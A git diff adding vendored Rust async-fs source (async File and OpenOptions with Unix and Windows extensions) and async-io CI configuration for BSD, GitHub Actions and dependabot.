+ /// + /// This will be set to an error if the file is not seekable. + read_pos: Option>, + + /// Set to `true` if the file needs flushing. + is_dirty: bool, +} + +impl File { + /// Creates an async file from a blocking file. + fn new(inner: std::fs::File, is_dirty: bool) -> File { + let file = Arc::new(inner); + let unblock = Mutex::new(Unblock::new(ArcFile(file.clone()))); + let read_pos = None; + File { + file, + unblock, + read_pos, + is_dirty, + } + } + + /// Opens a file in read-only mode. + /// + /// See the [`OpenOptions::open()`] function for more options. + /// + /// # Errors + /// + /// An error will be returned in the following situations: + /// + /// * `path` does not point to an existing file. + /// * The current process lacks permissions to read the file. + /// * Some other I/O error occurred. + /// + /// For more details, see the list of errors documented by [`OpenOptions::open()`]. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let file = File::open("a.txt").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn open>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + let file = unblock(move || std::fs::File::open(path)).await?; + Ok(File::new(file, false)) + } + + /// Opens a file in write-only mode. + /// + /// This method will create a file if it does not exist, and will truncate it if it does. + /// + /// See the [`OpenOptions::open`] function for more options. + /// + /// # Errors + /// + /// An error will be returned in the following situations: + /// + /// * The file's parent directory does not exist. + /// * The current process lacks permissions to write to the file. + /// * Some other I/O error occurred. + /// + /// For more details, see the list of errors documented by [`OpenOptions::open()`]. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let file = File::create("a.txt").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn create>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + let file = unblock(move || std::fs::File::create(path)).await?; + Ok(File::new(file, false)) + } + + /// Synchronizes OS-internal buffered contents and metadata to disk. + /// + /// This function will ensure that all in-memory data reaches the filesystem. + /// + /// This can be used to handle errors that would otherwise only be caught by closing the file. + /// When a file is dropped, errors in synchronizing this in-memory data are ignored. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::File; + /// use futures_lite::io::AsyncWriteExt; + /// + /// # futures_lite::future::block_on(async { + /// let mut file = File::create("a.txt").await?; + /// + /// file.write_all(b"Hello, world!").await?; + /// file.sync_all().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn sync_all(&self) -> io::Result<()> { + let mut inner = self.unblock.lock().await; + inner.flush().await?; + let file = self.file.clone(); + unblock(move || file.sync_all()).await + } + + /// Synchronizes OS-internal buffered contents to disk. + /// + /// This is similar to [`sync_all()`][`File::sync_all()`], except that file metadata may not + /// be synchronized. + /// + /// This is intended for use cases that must synchronize the contents of the file, but don't + /// need the file metadata synchronized to disk. + /// + /// Note that some platforms may simply implement this in terms of + /// [`sync_all()`][`File::sync_all()`]. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::File; + /// use futures_lite::io::AsyncWriteExt; + /// + /// # futures_lite::future::block_on(async { + /// let mut file = File::create("a.txt").await?; + /// + /// file.write_all(b"Hello, world!").await?; + /// file.sync_data().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn sync_data(&self) -> io::Result<()> { + let mut inner = self.unblock.lock().await; + inner.flush().await?; + let file = self.file.clone(); + unblock(move || file.sync_data()).await + } + + /// Truncates or extends the file. + /// + /// If `size` is less than the current file size, then the file will be truncated. If it is + /// greater than the current file size, then the file will be extended to `size` and have all + /// intermediate data filled with zeros. + /// + /// The file's cursor stays at the same position, even if the cursor ends up being past the end + /// of the file after this operation. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let mut file = File::create("a.txt").await?; + /// file.set_len(10).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn set_len(&self, size: u64) -> io::Result<()> { + let mut inner = self.unblock.lock().await; + inner.flush().await?; + let file = self.file.clone(); + unblock(move || file.set_len(size)).await + } + + /// Reads the file's metadata. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let file = File::open("a.txt").await?; + /// let metadata = file.metadata().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn metadata(&self) -> io::Result { + let file = self.file.clone(); + unblock(move || file.metadata()).await + } + + /// Changes the permissions on the file. + /// + /// # Errors + /// + /// An error will be returned in the following situations: + /// + /// * The current process lacks permissions to change attributes on the file. + /// * Some other I/O error occurred. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let file = File::create("a.txt").await?; + /// + /// let mut perms = file.metadata().await?.permissions(); + /// perms.set_readonly(true); + /// file.set_permissions(perms).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn set_permissions(&self, perm: Permissions) -> io::Result<()> { + let file = self.file.clone(); + unblock(move || file.set_permissions(perm)).await + } + + /// Repositions the cursor after reading. + /// + /// When reading from a file, actual file reads run asynchronously in the background, which + /// means the real file cursor is usually ahead of the logical cursor, and the data between + /// them is buffered in memory. This kind of buffering is an important optimization. + /// + /// After reading ends, if we decide to perform a write or a seek operation, the real file + /// cursor must first be repositioned back to the correct logical position. + fn poll_reposition(&mut self, cx: &mut Context<'_>) -> Poll> { + if let Some(Ok(read_pos)) = self.read_pos { + ready!(Pin::new(self.unblock.get_mut()).poll_seek(cx, SeekFrom::Start(read_pos)))?; + } + self.read_pos = None; + Poll::Ready(Ok(())) + } +} + +impl fmt::Debug for File { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + self.file.fmt(f) + } +} + +impl From for File { + fn from(inner: std::fs::File) -> File { + File::new(inner, true) + } +} + +#[cfg(unix)] +impl std::os::unix::io::AsRawFd for File { + fn as_raw_fd(&self) -> std::os::unix::io::RawFd { + self.file.as_raw_fd() + } +} + +#[cfg(windows)] +impl std::os::windows::io::AsRawHandle for File { + fn as_raw_handle(&self) -> std::os::windows::io::RawHandle { + self.file.as_raw_handle() + } +} + +#[cfg(unix)] +impl From for File { + fn from(fd: std::os::unix::io::OwnedFd) -> Self { + File::from(std::fs::File::from(fd)) + } +} + +#[cfg(windows)] +impl From for File { + fn from(fd: std::os::windows::io::OwnedHandle) -> Self { + File::from(std::fs::File::from(fd)) + } +} + +#[cfg(unix)] +impl std::os::unix::io::AsFd for File { + fn as_fd(&self) -> std::os::unix::io::BorrowedFd<'_> { + self.file.as_fd() + } +} + +#[cfg(windows)] +impl std::os::windows::io::AsHandle for File { + fn as_handle(&self) -> std::os::windows::io::BorrowedHandle<'_> { + self.file.as_handle() + } +} + +impl AsyncRead for File { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + // Before reading begins, remember the current cursor position. + if self.read_pos.is_none() { + // Initialize the logical cursor to the current position in the file. + self.read_pos = Some(ready!(self.as_mut().poll_seek(cx, SeekFrom::Current(0)))); + } + + let n = ready!(Pin::new(self.unblock.get_mut()).poll_read(cx, buf))?; + + // Update the logical cursor if the file is seekable. + if let Some(Ok(pos)) = self.read_pos.as_mut() { + *pos += n as u64; + } + + Poll::Ready(Ok(n)) + } +} + +impl AsyncWrite for File { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + ready!(self.poll_reposition(cx))?; + self.is_dirty = true; + Pin::new(self.unblock.get_mut()).poll_write(cx, buf) + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + if self.is_dirty { + ready!(Pin::new(self.unblock.get_mut()).poll_flush(cx))?; + self.is_dirty = false; + } + Poll::Ready(Ok(())) + } + + fn poll_close(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + Pin::new(self.unblock.get_mut()).poll_close(cx) + } +} + +impl AsyncSeek for File { + fn poll_seek( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + pos: SeekFrom, + ) -> Poll> { + ready!(self.poll_reposition(cx))?; + Pin::new(self.unblock.get_mut()).poll_seek(cx, pos) + } +} + +/// A wrapper around `Arc` that implements `Read`, `Write`, and `Seek`. +struct ArcFile(Arc); + +impl io::Read for ArcFile { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + (&*self.0).read(buf) + } +} + +impl io::Write for ArcFile { + fn write(&mut self, buf: &[u8]) -> io::Result { + (&*self.0).write(buf) + } + + fn flush(&mut self) -> io::Result<()> { + (&*self.0).flush() + } +} + +impl io::Seek for ArcFile { + fn seek(&mut self, pos: SeekFrom) -> io::Result { + (&*self.0).seek(pos) + } +} + +/// A builder for opening files with configurable options. +/// +/// Files can be opened in [`read`][`OpenOptions::read()`] and/or +/// [`write`][`OpenOptions::write()`] mode. +/// +/// The [`append`][`OpenOptions::append()`] option opens files in a special writing mode that +/// moves the file cursor to the end of file before every write operation. +/// +/// It is also possible to [`truncate`][`OpenOptions::truncate()`] the file right after opening, +/// to [`create`][`OpenOptions::create()`] a file if it doesn't exist yet, or to always create a +/// new file with [`create_new`][`OpenOptions::create_new()`]. +/// +/// # Examples +/// +/// Open a file for reading: +/// +/// ```no_run +/// use async_fs::OpenOptions; +/// +/// # futures_lite::future::block_on(async { +/// let file = OpenOptions::new() +/// .read(true) +/// .open("a.txt") +/// .await?; +/// # std::io::Result::Ok(()) }); +/// ``` +/// +/// Open a file for both reading and writing, and create it if it doesn't exist yet: +/// +/// ```no_run +/// use async_fs::OpenOptions; +/// +/// # futures_lite::future::block_on(async { +/// let file = OpenOptions::new() +/// .read(true) +/// .write(true) +/// .create(true) +/// .open("a.txt") +/// .await?; +/// # std::io::Result::Ok(()) }); +/// ``` +#[derive(Clone, Debug)] +pub struct OpenOptions(std::fs::OpenOptions); + +impl OpenOptions { + /// Creates a blank set of options. + /// + /// All options are initially set to `false`. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .read(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn new() -> OpenOptions { + OpenOptions(std::fs::OpenOptions::new()) + } + + /// Configures the option for read mode. + /// + /// When set to `true`, this option means the file will be readable after opening. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .read(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn read(&mut self, read: bool) -> &mut OpenOptions { + self.0.read(read); + self + } + + /// Configures the option for write mode. + /// + /// When set to `true`, this option means the file will be writable after opening. + /// + /// If the file already exists, write calls on it will overwrite the previous contents without + /// truncating it. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .write(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn write(&mut self, write: bool) -> &mut OpenOptions { + self.0.write(write); + self + } + + /// Configures the option for append mode. + /// + /// When set to `true`, this option means the file will be writable after opening and the file + /// cursor will be moved to the end of file before every write operation. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .append(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn append(&mut self, append: bool) -> &mut OpenOptions { + self.0.append(append); + self + } + + /// Configures the option for truncating the previous file. + /// + /// When set to `true`, the file will be truncated to the length of 0 bytes. + /// + /// The file must be opened in [`write`][`OpenOptions::write()`] or + /// [`append`][`OpenOptions::append()`] mode for truncation to work. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .write(true) + /// .truncate(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn truncate(&mut self, truncate: bool) -> &mut OpenOptions { + self.0.truncate(truncate); + self + } + + /// Configures the option for creating a new file if it doesn't exist. + /// + /// When set to `true`, this option means a new file will be created if it doesn't exist. + /// + /// The file must be opened in [`write`][`OpenOptions::write()`] or + /// [`append`][`OpenOptions::append()`] mode for file creation to work. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .write(true) + /// .create(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn create(&mut self, create: bool) -> &mut OpenOptions { + self.0.create(create); + self + } + + /// Configures the option for creating a new file or failing if it already exists. + /// + /// When set to `true`, this option means a new file will be created, or the open operation + /// will fail if the file already exists. + /// + /// The file must be opened in [`write`][`OpenOptions::write()`] or + /// [`append`][`OpenOptions::append()`] mode for file creation to work. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .write(true) + /// .create_new(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn create_new(&mut self, create_new: bool) -> &mut OpenOptions { + self.0.create_new(create_new); + self + } + + /// Opens a file with the configured options. + /// + /// # Errors + /// + /// An error will be returned in the following situations: + /// + /// * The file does not exist and neither [`create`] nor [`create_new`] were set. + /// * The file's parent directory does not exist. + /// * The current process lacks permissions to open the file in the configured mode. + /// * The file already exists and [`create_new`] was set. + /// * Invalid combination of options was used, like [`truncate`] was set but [`write`] wasn't, + /// or none of [`read`], [`write`], and [`append`] modes was set. + /// * An OS-level occurred, like too many files are open or the file name is too long. + /// * Some other I/O error occurred. + /// + /// [`read`]: `OpenOptions::read()` + /// [`write`]: `OpenOptions::write()` + /// [`append`]: `OpenOptions::append()` + /// [`truncate`]: `OpenOptions::truncate()` + /// [`create`]: `OpenOptions::create()` + /// [`create_new`]: `OpenOptions::create_new()` + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::OpenOptions; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .read(true) + /// .open("a.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn open>(&self, path: P) -> impl Future> { + let path = path.as_ref().to_owned(); + let options = self.0.clone(); + async move { + let file = unblock(move || options.open(path)).await?; + Ok(File::new(file, false)) + } + } +} + +impl Default for OpenOptions { + fn default() -> Self { + Self::new() + } +} + +#[cfg(unix)] +impl unix::OpenOptionsExt for OpenOptions { + fn mode(&mut self, mode: u32) -> &mut Self { + self.0.mode(mode); + self + } + + fn custom_flags(&mut self, flags: i32) -> &mut Self { + self.0.custom_flags(flags); + self + } +} + +#[cfg(windows)] +impl windows::OpenOptionsExt for OpenOptions { + fn access_mode(&mut self, access: u32) -> &mut Self { + self.0.access_mode(access); + self + } + + fn share_mode(&mut self, val: u32) -> &mut Self { + self.0.share_mode(val); + self + } + + fn custom_flags(&mut self, flags: u32) -> &mut Self { + self.0.custom_flags(flags); + self + } + + fn attributes(&mut self, val: u32) -> &mut Self { + self.0.attributes(val); + self + } + + fn security_qos_flags(&mut self, flags: u32) -> &mut Self { + self.0.security_qos_flags(flags); + self + } +} + +mod __private { + #[doc(hidden)] + pub trait Sealed {} + + impl Sealed for super::OpenOptions {} + impl Sealed for super::File {} + impl Sealed for super::DirBuilder {} + impl Sealed for super::DirEntry {} +} + +/// Unix-specific extensions. +#[cfg(unix)] +pub mod unix { + use super::__private::Sealed; + use super::*; + + #[doc(no_inline)] + pub use std::os::unix::fs::{FileTypeExt, MetadataExt, PermissionsExt}; + + /// Creates a new symbolic link on the filesystem. + /// + /// The `dst` path will be a symbolic link pointing to the `src` path. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// async_fs::unix::symlink("a.txt", "b.txt").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn symlink, Q: AsRef>(src: P, dst: Q) -> io::Result<()> { + let src = src.as_ref().to_owned(); + let dst = dst.as_ref().to_owned(); + unblock(move || std::os::unix::fs::symlink(&src, &dst)).await + } + + /// Unix-specific extensions to [`DirBuilder`]. + pub trait DirBuilderExt: Sealed { + /// Sets the mode to create new directories with. + /// + /// This option defaults to `0o777`. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{DirBuilder, unix::DirBuilderExt}; + /// + /// let mut builder = DirBuilder::new(); + /// builder.mode(0o755); + /// ``` + fn mode(&mut self, mode: u32) -> &mut Self; + } + + /// Unix-specific extension methods for [`DirEntry`]. + pub trait DirEntryExt: Sealed { + /// Returns the underlying `d_ino` field in the contained `dirent` structure. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::unix::DirEntryExt; + /// use futures_lite::stream::StreamExt; + /// + /// # futures_lite::future::block_on(async { + /// let mut entries = async_fs::read_dir(".").await?; + /// + /// while let Some(entry) = entries.try_next().await? { + /// println!("{:?}: {}", entry.file_name(), entry.ino()); + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + fn ino(&self) -> u64; + } + + /// Unix-specific extensions to [`OpenOptions`]. + pub trait OpenOptionsExt: Sealed { + /// Sets the mode bits that a new file will be created with. + /// + /// If a new file is created as part of an [`OpenOptions::open()`] call then this + /// specified `mode` will be used as the permission bits for the new file. + /// + /// If no `mode` is set, the default of `0o666` will be used. + /// The operating system masks out bits with the system's `umask`, to produce + /// the final permissions. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{OpenOptions, unix::OpenOptionsExt}; + /// + /// # futures_lite::future::block_on(async { + /// let mut options = OpenOptions::new(); + /// // Read/write permissions for owner and read permissions for others. + /// options.mode(0o644); + /// let file = options.open("foo.txt").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + fn mode(&mut self, mode: u32) -> &mut Self; + + /// Passes custom flags to the `flags` argument of `open`. + /// + /// The bits that define the access mode are masked out with `O_ACCMODE`, to + /// ensure they do not interfere with the access mode set by Rust's options. + /// + /// Custom flags can only set flags, not remove flags set by Rust's options. + /// This options overwrites any previously set custom flags. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{OpenOptions, unix::OpenOptionsExt}; + /// + /// # futures_lite::future::block_on(async { + /// let mut options = OpenOptions::new(); + /// options.write(true); + /// options.custom_flags(libc::O_NOFOLLOW); + /// let file = options.open("foo.txt").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + fn custom_flags(&mut self, flags: i32) -> &mut Self; + } +} + +/// Windows-specific extensions. +#[cfg(windows)] +pub mod windows { + use super::__private::Sealed; + use super::*; + + #[doc(no_inline)] + pub use std::os::windows::fs::MetadataExt; + + /// Creates a new directory symbolic link on the filesystem. + /// + /// The `dst` path will be a directory symbolic link pointing to the `src` path. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// async_fs::windows::symlink_dir("a", "b").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn symlink_dir, Q: AsRef>(src: P, dst: Q) -> io::Result<()> { + let src = src.as_ref().to_owned(); + let dst = dst.as_ref().to_owned(); + unblock(move || std::os::windows::fs::symlink_dir(&src, &dst)).await + } + + /// Creates a new file symbolic link on the filesystem. + /// + /// The `dst` path will be a file symbolic link pointing to the `src` path. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// async_fs::windows::symlink_file("a.txt", "b.txt").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn symlink_file, Q: AsRef>(src: P, dst: Q) -> io::Result<()> { + let src = src.as_ref().to_owned(); + let dst = dst.as_ref().to_owned(); + unblock(move || std::os::windows::fs::symlink_file(&src, &dst)).await + } + + /// Windows-specific extensions to [`OpenOptions`]. + pub trait OpenOptionsExt: Sealed { + /// Overrides the `dwDesiredAccess` argument to the call to [`CreateFile`] + /// with the specified value. + /// + /// This will override the `read`, `write`, and `append` flags on the + /// [`OpenOptions`] structure. This method provides fine-grained control over + /// the permissions to read, write and append data, attributes (like hidden + /// and system), and extended attributes. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{OpenOptions, windows::OpenOptionsExt}; + /// + /// # futures_lite::future::block_on(async { + /// // Open without read and write permission, for example if you only need + /// // to call `stat` on the file + /// let file = OpenOptions::new().access_mode(0).open("foo.txt").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// [`CreateFile`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea + fn access_mode(&mut self, access: u32) -> &mut Self; + + /// Overrides the `dwShareMode` argument to the call to [`CreateFile`] with + /// the specified value. + /// + /// By default `share_mode` is set to + /// `FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE`. This allows + /// other processes to read, write, and delete/rename the same file + /// while it is open. Removing any of the flags will prevent other + /// processes from performing the corresponding operation until the file + /// handle is closed. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{OpenOptions, windows::OpenOptionsExt}; + /// + /// # futures_lite::future::block_on(async { + /// // Do not allow others to read or modify this file while we have it open + /// // for writing. + /// let file = OpenOptions::new() + /// .write(true) + /// .share_mode(0) + /// .open("foo.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// [`CreateFile`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea + fn share_mode(&mut self, val: u32) -> &mut Self; + + /// Sets extra flags for the `dwFileFlags` argument to the call to + /// [`CreateFile2`] to the specified value (or combines it with + /// `attributes` and `security_qos_flags` to set the `dwFlagsAndAttributes` + /// for [`CreateFile`]). + /// + /// Custom flags can only set flags, not remove flags set by Rust's options. + /// This option overwrites any previously set custom flags. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{OpenOptions, windows::OpenOptionsExt}; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .create(true) + /// .write(true) + /// .custom_flags(windows_sys::Win32::Storage::FileSystem::FILE_FLAG_DELETE_ON_CLOSE) + /// .open("foo.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// [`CreateFile`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea + /// [`CreateFile2`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfile2 + fn custom_flags(&mut self, flags: u32) -> &mut Self; + + /// Sets the `dwFileAttributes` argument to the call to [`CreateFile2`] to + /// the specified value (or combines it with `custom_flags` and + /// `security_qos_flags` to set the `dwFlagsAndAttributes` for + /// [`CreateFile`]). + /// + /// If a _new_ file is created because it does not yet exist and + /// `.create(true)` or `.create_new(true)` are specified, the new file is + /// given the attributes declared with `.attributes()`. + /// + /// If an _existing_ file is opened with `.create(true).truncate(true)`, its + /// existing attributes are preserved and combined with the ones declared + /// with `.attributes()`. + /// + /// In all other cases the attributes get ignored. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{OpenOptions, windows::OpenOptionsExt}; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .write(true) + /// .create(true) + /// .attributes(windows_sys::Win32::Storage::FileSystem::FILE_ATTRIBUTE_HIDDEN) + /// .open("foo.txt") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// [`CreateFile`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea + /// [`CreateFile2`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfile2 + fn attributes(&mut self, val: u32) -> &mut Self; + + /// Sets the `dwSecurityQosFlags` argument to the call to [`CreateFile2`] to + /// the specified value (or combines it with `custom_flags` and `attributes` + /// to set the `dwFlagsAndAttributes` for [`CreateFile`]). + /// + /// By default `security_qos_flags` is not set. It should be specified when + /// opening a named pipe, to control to which degree a server process can + /// act on behalf of a client process (security impersonation level). + /// + /// When `security_qos_flags` is not set, a malicious program can gain the + /// elevated privileges of a privileged Rust process when it allows opening + /// user-specified paths, by tricking it into opening a named pipe. So + /// arguably `security_qos_flags` should also be set when opening arbitrary + /// paths. However the bits can then conflict with other flags, specifically + /// `FILE_FLAG_OPEN_NO_RECALL`. + /// + /// For information about possible values, see [Impersonation Levels] on the + /// Windows Dev Center site. The `SECURITY_SQOS_PRESENT` flag is set + /// automatically when using this method. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::{OpenOptions, windows::OpenOptionsExt}; + /// + /// # futures_lite::future::block_on(async { + /// let file = OpenOptions::new() + /// .write(true) + /// .create(true) + /// .security_qos_flags(windows_sys::Win32::Storage::FileSystem::SECURITY_IDENTIFICATION) + /// .open(r"\\.\pipe\MyPipe") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// [`CreateFile`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea + /// [`CreateFile2`]: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfile2 + /// [Impersonation Levels]: https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-security_impersonation_level + fn security_qos_flags(&mut self, flags: u32) -> &mut Self; + } +} diff --git a/lib/malio/async-io/.cirrus.yml b/lib/malio/async-io/.cirrus.yml new file mode 100644 index 0000000..90812a3 --- /dev/null +++ b/lib/malio/async-io/.cirrus.yml @@ -0,0 +1,61 @@ +only_if: $CIRRUS_TAG == '' && ($CIRRUS_PR != '' || $CIRRUS_BRANCH == 'master') +auto_cancellation: $CIRRUS_BRANCH != 'master' +env: + CARGO_INCREMENTAL: '0' + CARGO_NET_GIT_FETCH_WITH_CLI: 'true' + CARGO_NET_RETRY: '10' + CARGO_REGISTRIES_CRATES_IO_PROTOCOL: 'sparse' + CARGO_TERM_COLOR: always + RUST_BACKTRACE: '1' + RUSTDOCFLAGS: -D warnings + RUSTFLAGS: -D warnings + RUSTUP_MAX_RETRIES: '10' + +freebsd_task: + name: test ($TARGET) + freebsd_instance: + image_family: freebsd-13-4 + matrix: + - env: + TARGET: x86_64-unknown-freebsd + - env: + TARGET: i686-unknown-freebsd + setup_script: + # https://github.com/cirruslabs/cirrus-ci-docs/issues/483 + - sudo sysctl net.inet.tcp.blackhole=0 + - pkg install -y git + - curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal --default-toolchain stable --target $TARGET + test_script: + - . $HOME/.cargo/env + - cargo test --target $TARGET + +netbsd_task: + name: test ($TARGET) + compute_engine_instance: + image_project: pg-ci-images + # https://github.com/anarazel/pg-vm-images/blob/main/packer/netbsd.pkrvars.hcl + image: family/pg-ci-netbsd-vanilla + platform: netbsd + env: + TARGET: x86_64-unknown-netbsd + setup_script: + - pkgin -y install git + - curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal --default-toolchain stable + test_script: + - . $HOME/.cargo/env + - cargo test + +openbsd_task: + name: test ($TARGET) + compute_engine_instance: + image_project: pg-ci-images + # https://github.com/anarazel/pg-vm-images/blob/main/packer/openbsd.pkrvars.hcl + image: family/pg-ci-openbsd-vanilla + platform: openbsd + env: + TARGET: x86_64-unknown-openbsd + setup_script: + # OpenBSD is tier 3 target, so install rust from package manager instead of rustup + - pkg_add git rust + test_script: + - cargo test diff --git a/lib/malio/async-io/.github/dependabot.yml b/lib/malio/async-io/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/async-io/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/async-io/.github/workflows/ci.yml b/lib/malio/async-io/.github/workflows/ci.yml new file mode 100644 index 0000000..7fd9caa --- /dev/null +++ b/lib/malio/async-io/.github/workflows/ci.yml @@ -0,0 +1,166 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + clippy: + uses: smol-rs/.github/.github/workflows/clippy.yml@main + with: + # macOS for kqueue, Windows for windows. + additional-targets: aarch64-apple-darwin x86_64-pc-windows-msvc + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + # --no-self-update is necessary because the windows environment cannot self-update rustup.exe. + run: rustup update ${{ matrix.rust }} --no-self-update && rustup default ${{ matrix.rust }} + - name: Install cargo-hack and cargo-minimal-versions + uses: taiki-e/install-action@v2 + with: + tool: cargo-hack,cargo-minimal-versions + - run: cargo build --all --all-features --all-targets + - run: cargo hack build --feature-powerset --no-dev-deps + - run: cargo minimal-versions build --all --all-features + - run: cargo test + + # Copied from: https://github.com/rust-lang/stacker/pull/19/files + windows_gnu: + runs-on: windows-latest + strategy: + matrix: + rust: [nightly] + target: + - x86_64-pc-windows-gnu + steps: + - uses: actions/checkout@v4 + - name: Install Rust + # --no-self-update is necessary because the windows environment cannot self-update rustup.exe. + run: rustup update ${{ matrix.rust }} --no-self-update && rustup default ${{ matrix.rust }} + - run: rustup target add ${{ matrix.target }} + - run: cargo build --target ${{ matrix.target }} --all --all-features --all-targets + - run: cargo test 